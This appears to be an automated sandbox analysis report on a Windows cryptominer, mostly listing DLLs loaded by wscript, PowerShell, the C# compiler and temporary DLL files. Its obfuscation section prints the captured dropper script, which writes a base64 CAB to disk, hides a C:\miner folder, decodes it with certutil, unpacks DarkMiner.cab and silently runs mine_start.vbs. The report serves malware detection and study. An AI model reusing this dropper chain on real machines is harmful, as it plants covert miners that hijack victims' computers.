Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile("C:\Users\user\AppData\Local\Temp\Encode.txt", "true");ITextStream.Write("TVNDRgAAAAD7RQIAAAAAACwAAAAAAAAAAwEBAAQAAAAyEgAAoQAAAAkAAQArAwAAAAAAAAAA/1hQuyAAWENsaWVudC5iYXQAZAAAACsDAAAAAP9YYbsgAG1pbmVfc3RhcnQudmJzAADaAQCPAwAAAAD/WKi6IABmZXRjaFgzMi5kbGwAAGQCAI/dAQAAAP9YtrogAGZldGNoWDY0LmRsbABU/mhBfkw");ITextStream.Close();IWshShell3.ExpandEnvironmentStrings("%TEMP%");IWshShell3.ExpandEnvironmentStrings("%SYSTEMDRIVE%");IFileSystem3.FolderExists("C:\miner\");IFileSystem3.CreateFolder("C:\miner\");IFolder.Attributes();IFolder.Attributes("18");IFileSystem3.CreateTextFile("C:\Users\user\AppData\Local\Temp\Encode.txt", "true");ITextStream.Write("TVNDRgAAAAD7RQIAAAAAACwAAAAAAAAAAwEBAAQAAAAyEgAAoQAAAAkAAQArAwAAAAAAAAAA/1hQuyAAWENsaWVudC5iYXQAZAAAACsDAAAAAP9YYbsgAG1pbmVfc3RhcnQudmJzAADaAQCPAwAAAAD/WKi6IABmZXRjaFgzMi5kbGwAAGQCAI/dAQAAAP9YtrogAGZldGNoWDY0LmRsbABU/mhBfkw");ITextStream.Close();IWshShell3.Run("certutil -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\Dar", "0", "true");IWshShell3.ExpandEnvironmentStrings("%TEMP%");IWshShell3.ExpandEnvironmentStrings("%SYSTEMDRIVE%");IFileSystem3.FolderExists("C:\miner\");IFileSystem3.CreateFolder("C:\miner\");IFolder.Attributes();IFolder.Attributes("18");IFileSystem3.CreateTextFile("C:\Users\user\AppData\Local\Temp\Encode.txt", "true");ITextStream.Write("TVNDRgAAAAD7RQIAAAAAACwAAAAAAAAAAwEBAAQAAAAyEgAAoQAAAAkAAQArAwAAAAAAAAAA/1hQuyAAWENsaWVudC5iYXQAZAAAACsDAAAAAP9YYbsgAG1pbmVfc3RhcnQudmJzAADaAQCPAwAAAAD/WKi6IABmZXRjaFgzMi5kbGwAAGQCAI/dAQAAAP9YtrogAGZldGNoWDY0LmRsbABU/mhBfkw");ITextStream.Close();IWshShell3.Run("certutil -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\Dar", "0", "true");IWshShell3.Run("expand C:\miner\DarkMiner.cab -F:* C:\miner\", "0", "true");IWshShell3.ExpandEnvironmentStrings("%TEMP%");IWshShell3.ExpandEnvironmentStrings("%SYSTEMDRIVE%");IFileSystem3.FolderExists("C:\miner\");IFileSystem3.CreateFolder("C:\miner\");IFolder.Attributes();IFolder.Attributes("18");IFileSystem3.CreateTextFile("C:\Users\user\AppData\Local\Temp\Encode.txt", "true");ITextStream.Write("TVNDRgAAAAD7RQIAAAAAACwAAAAAAAAAAwEBAAQAAAAyEgAAoQAAAAkAAQArAwAAAAAAAAAA/1hQuyAAWENsaWVudC5iYXQAZAAAACsDAAAAAP9YYbsgAG1pbmVfc3RhcnQudmJzAADaAQCPAwAAAAD/WKi6IABmZXRjaFgzMi5kbGwAAGQCAI/dAQAAAP9YtrogAGZldGNoWDY0LmRsbABU/mhBfkw");ITextStream.Close();IWshShell3.Run("certutil -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\Dar", "0", "true");IWshShell3.Run("expand C:\miner\DarkMiner.cab -F:* C:\miner\", "0", "true");IWshShell3.Run("cscript C:\miner\mine_start.vbs", "0", "true")

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\weizmren.cmdline"
